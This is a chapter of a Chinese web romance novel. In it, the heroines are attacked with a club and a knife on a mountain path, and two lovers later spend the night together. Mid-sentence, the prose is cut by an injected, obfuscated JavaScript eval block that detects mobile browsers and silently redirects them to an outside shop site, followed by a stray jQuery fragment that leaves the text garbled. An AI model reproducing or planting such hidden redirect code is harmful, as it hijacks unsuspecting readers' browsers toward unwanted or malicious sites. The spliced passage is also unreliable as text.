月挽挽和岑小溪手牵着手往山里走去。
面对岔路口,岑小溪犯了难,“又是这个岔路口,走哪边好呢?”
“左边吧。”
“你怎么知道他们走的是左边?”
“感觉。”
“好吧。”
没走多久,一个阴笑声从她们身后传来,“哈哈哈哈,我正愁怎么让你落单呢,没想到,你们自己就跑了出来。”
两人闻声转过去,“你是谁?”天色太黑了,岑小溪看不清他的模样。
“你是······在片场对群演动手动脚的那个场务?我记得你的声音。”
“哈哈哈,不错,的确是我。难道,我不配拥有姓名吗?我叫郑伟,你给我记清楚了。”
“郑伟?你怎么会在这里?你想要干什么?”
“我想要干什么?这还不明显吗?我当然是来找你报仇的。因为你,害得我不仅是《观音劫》剧组的工作丢了,现在,整个横店的剧组都不要我。”
“那是你咎由自取,你不好好反省,现在还跑来找我报仇?”月挽挽有些害怕地拉着岑小溪小步小步地往后退。
“还嘴硬?”说着,郑伟便举起一根棍子朝月挽挽挥去。突然,她的眼前闪过一个身影,用自己的手臂挡住了棍子。
从他身上带过的风里夹杂的九九香,便已认出他的身份,“上官与!”
“挽挽,你没事吧?”
“我没事。”
程凌霄则挡在岑小溪前面,“没事吧?”
“没事。”
郑伟又再次挥棍而来,被身手不错的上官与踢倒在地。这时,他又猛地爬起来,手里亮出一把匕首,刺向上官与。夜晚的山里实在太黑,上官与来不及躲避,匕首划破了他的手臂。一旁的程凌霄反应灵敏,立刻将郑伟再次踢倒。
当所有人的注意力全都在上官与身上的时候,郑伟又矫健起身,将矛头对向独自在一边的岑小溪。好在程凌霄手脚够快,赶在郑伟之前,将岑小溪扑倒在地。
郑伟接连失手,似乎有些发狂起来。月挽挽起身拿起手机,“喂,袭照吗,我们就在岔路口前面不远的地方。你们快到了?赶紧过来?我们······”
听见救兵快要赶到,郑伟只能仓皇逃走。
月挽挽这才松下一口气,走到上官与身边查看他的伤势。“快让我看看你的手臂。”
“没事,我衣服厚,没有划到肉。”
“那就好。”
“手机在山里不是没有信号吗?你怎么拨通袭照的电话的?”
“我是骗他的,我担心他伤害到你们,所以才······”
“挽挽真是聪明!”
“程凌霄,你没事吧?你怎么样啦?”只听见岑小溪的哀嚎。
月挽挽赶过去,“小溪你别急,我先替他看看。”
“这脉象弦紧、沉实有力、节律均匀!好啦,程凌霄,你就别吓小溪了。”
本是躺在岑小溪身上的程凌霄只能坐起来,“啊?我没事儿啊?我还以为我受了重伤呢。”
“好你个程凌霄,你敢骗我?”岑小溪一把推开他。
“哎呀。”
“你别再装了,我才不会信你。”
“小溪,他的手,的确是受了些······伤。”
“啊?哪里?”
“这里。”程凌霄撒娇地伸出手,“手掌擦破皮了。”
“啊,都流血了,真可怜。”
“好了,我们赶紧走吧,万一郑伟发现我们是骗他的,又折回来就麻烦了。”上官与赶紧要喝大家先回山庄。
他牵着月挽挽,岑小溪扶着程凌霄,几个人很快走回了雪之隅。
听到动静,袭照立马起身,“挽挽,你们回来了,担心死我了。”
钱早则冷漠地坐在一边,如今,和袭照捅破那层纸之后,她连演都不愿意演了。
“我们没事。不过,你猜我们刚刚在山上遇见了谁?”
“谁?”
“你还记得上次在片场,对群演动手动脚的那个场务吗?”
“郑伟?”
“你怎么知道他的名字?”
“因为,后来是我去跟剧组施压,让他离开的。”
“难怪,他这么生气了。”
“我听说他一直以来,仗着自己在剧组待了很多年,就经常对女群演或者年轻的工作人员动手动脚,小女孩害怕不敢吭声。这次逮到机会,我必须让他这样的人离开剧组。”
“阿照你做得真棒。简直是为民除害了。”
“不过,害得你们刚刚遇到危险。他怎么会知道我们在这里呢?”
“剧组人多口杂,有人顺口提到,也是很正常的事。”
“总之,明天一回到横店,我们就得先去报案。郑伟就像个不定时炸弹一样,随时可能会爆炸。”上官与接过去道,眼里透露出不安。
“嗯。对了,我先给你们上药吧。”月挽挽先替程凌霄处理了伤口,然后来到上官与跟前。“你的手臂,我看看吧。”
脱下层层衣服,确定郑伟的匕首只是划破了他的衣服,没有伤害到皮肤。可是最开始替月挽挽挡下的那一棍子,小臂下面已经淤青了好大一块。
“本来是给阿照带的活血化瘀膏药,还好有多的。我先给你贴上。回去之后,你也得配合中药一起服用,内服外敷,好得才快。”
“嗯好。”
“好了,大家今天都累了,赶紧回去休息吧,明天十点,出发回横店。”
“好,晚安。”
月挽挽回到房间,刚洗完澡,便收到上官与的微信:“挽挽,我担心你一个人,晚上会不安全······”
“没事的,我锁好门······”月挽挽还没打完字,就听到了敲门声。
她拿了一个花瓶,轻手轻脚地走到门口,从猫眼往外一看,原来是他。
一打开门,那个披着黑色大衣的人便溜进房里,一把将她搂到怀里。“挽挽,我还是不放心,今晚,就让我在这里陪你吧,天亮之前,我再悄悄潜回房间。”
“好吧。”
上官与将月挽挽横抱到房间里,轻轻放到床上,盖好被子。“今天受惊了吧?好好睡一觉,不用害怕,我就在旁边。”然后亲了亲她的额头,准备起身离开。
月挽挽拉住了他的手,“你······睡哪里?”
“沙发啊。”
“呃我这床,还挺宽敞的,不如······”
上官与捏了捏拳头,“挽挽,我们在一起的时间还不长,我不希望你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666511|204242||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
觉得我对你,是另有所图的。”
月挽挽只是用力将他拉倒在床上,尽情地吻了上去。“傻瓜,我当然不会这么想你了,你是怎样的人,我比谁都清楚。”
“我希望,我们之间的一切,都是水到渠成、自然而然地发生,我不想你感到有任何一丝的不舒服。”
“现在,难道还不够水到渠成、自然而然吗?”
她将被子掀起了,盖住两人······
天边的光亮撕开了雾蒙蒙的天空。
上官与本想轻手轻脚地起床穿好衣服离开,月挽挽却跟着醒来,她依依不舍地牵着他的手。
“怎么啦?我只是先回自己的房间,一会儿,我们就可以再见面了。”
“可是,我舍不得你。”
“我也是。”上官与蹲在床边,亲吻了她的额头,“你再睡会,睡醒了,我们就可以见面了。”
“那······好吧。”她这才黏黏糊糊地松开手。很快又迷迷糊糊地睡去。她竟然再次做了一个关于上官与的梦。
梦里,上官与浑身血淋淋地站在她面前。她想要去触摸他,可是怎么也摸不到。她惊醒过来,一身冷汗。从梦里故事结局之后,她便再也没有做梦,为什么现在突然又梦到了上官与,还是这样恐怖的情形?月挽挽隐隐有一些不好的预感。
收拾好东西,走出门,碰见蹦蹦跳跳的岑小溪。“挽挽,你猜我昨晚梦见了谁?”
“谁?”月挽挽还有些余惊未了。
“就是他啊······”秦明诗压低了声音,“程凌霄!”
“你······你该不会是,喜欢上他了吧?也是,昨晚,他还挺英勇帅气的!”
“可是,我一直以为,我喜欢的,应该是像袭照那样帅气多金的,又或者是像上官与那样俊俏沉稳的,怎么会上像他那样的幼稚贪玩的呢!挽挽,到底什么是喜欢啊?”岑小溪眨巴着天真的大眼睛。
“喜欢?我想,喜欢一个人,自己应该也无法控制吧,并不是你认为应该喜欢谁就会喜欢谁。可能,喜欢就是会不自觉地想到他,想到他会不自觉地很开心,见不到他,又会很想他,就是大概就是这样吧!”
“那你对上官······也是这样吗?”
这时,上官与正好打开门,撞上了月挽挽的视线。本是让人内心激动得一个对视,却又被昨晚的噩梦惊得脸色苍白。
“你不舒服吗?我看你,脸色不太好?”
岑小溪识趣地往后挪了一步,正好也等到了刚刚出门的程凌霄,不觉地小脸一红。
“没······没事。”
“真的没事吗?我是担心你昨晚受了惊吓,生病了。”
“没事的。”
回去的车上,钱早坐在最前面,中间一排的两个位置刚好坐着岑小溪和程凌霄。
后面一排,三个人的位置也有了些许变化。
“阿照,你右边肩膀受伤了,你就坐靠右边的位置吧,上官,你左手臂受伤了,你就坐靠左边的位置,我就坐你们中间,谁有事我都能照顾。有没有问题?”
“没有。”
“好。”
三个人乖乖坐好,汽车发动。
“诶,我这一只手,扣不了安全带,挽挽你可以帮我一下吗?”